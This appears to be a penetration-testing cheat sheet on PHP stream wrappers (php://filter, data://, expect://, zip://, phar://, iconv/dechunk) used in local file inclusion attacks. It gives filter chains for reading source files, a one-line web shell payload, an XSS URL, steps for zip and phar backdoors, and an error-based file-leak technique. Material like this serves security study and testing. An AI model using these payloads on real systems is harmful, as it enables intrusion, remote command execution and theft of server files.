Wrappers

A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.

Summary

Wrapper php://filter

The part "php://filter" is case insensitive

Filter
Description

php://filter/read=string.rot13/resource=index.php

Display index.php as rot13

php://filter/convert.iconv.utf-8.utf-16/resource=index.php

Encode index.php from utf8 to utf16

php://filter/convert.base64-encode/resource=index.php

Display index.php as a base64 encoded string

Wrappers can be chained with a compression wrapper for large files.

NOTE: Wrappers can be chained multiple times using | or /:

  • Multiple base64 decodes: php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s

  • deflate then base64encode (useful for limited character exfil): php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php

Also there is a way to turn the php://filter into a full RCE.

Wrapper data://

The payload encoded in base64 is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>".

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://

When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the expect:// wrapper can invoke shell commands as part of its input.

Wrapper input://

Specify your payload in the POST parameters, this can be done with a simple curl command.

Alternatively, Kadimus has a module to automate this attack.

Wrapper zip://

  • Create an evil payload: echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;

  • Zip the file

  • Upload the archive and access the file using the wrappers:

Wrapper phar://

PHAR archive structure

PHAR files work like ZIP files, when you can use the phar:// to access files stored inside them.

  • Create a phar archive containing a backdoor file: php --define phar.readonly=0 archive.php

  • Use the phar:// wrapper: curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt

PHAR deserialization

⚠️ This technique doesn't work on PHP 8+, the deserialization has been removed.

If a file operation is now performed on our existing phar file via the phar:// wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: include, file_get_contents, file_put_contents, copy, file_exists, is_executable, is_file, is_dir, is_link, is_writable, fileperms, fileinode, filesize, fileowner, filegroup, fileatime, filemtime, filectime, filetype, getimagesize, exif_read_data, stat, lstat, touch, md5_file, etc.

This exploit requires at least one class with magic methods such as __destruct() or __wakeup(). Let's take this AnyClass class as example, which execute the parameter data.

We can craft a phar archive containing a serialized object in its meta-data.

Finally call the phar wrapper: curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar

NOTE: you can use the $phar->setStub() to add the magic bytes of JPG file: \xff\xd8\xff

Wrapper convert.iconv:// and dechunk://

Leak file content from error-based oracle

  • convert.iconv://: convert input into another folder (convert.iconv.utf-16le.utf-8)

  • dechunk://: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9

The goal of this exploitation is to leak the content of a file, one character at a time, based on the DownUnderCTFarrow-up-right writeup.

Requirements:

  • Backend must not use file_exists or is_file.

  • Vulnerable parameter should be in a POST request.

    • You can't leak more than 135 characters in a GET request due to the size limit

The exploit chain is based on PHP filters: iconv and dechunk:

  1. Use the iconv filter with an encoding increasing the data size exponentially to trigger a memory error.

  2. Use the dechunk filter to determine the first character of the file, based on the previous error.

  3. Use the iconv filter again with encodings having different bytes ordering to swap remaining characters with the first one.

Exploit using synacktiv/php_filter_chains_oracle_exploitarrow-up-right, the script will use either the HTTP status code: 500 or the time as an error-based oracle to determine the character.

Leak file content inside a custom format output

To obtain the contents of some file, we would like to have: {"message":"<file contents>"}.

This can be used against vulnerable code like the following.

Leak file content using blind file read primitive

References

Last updated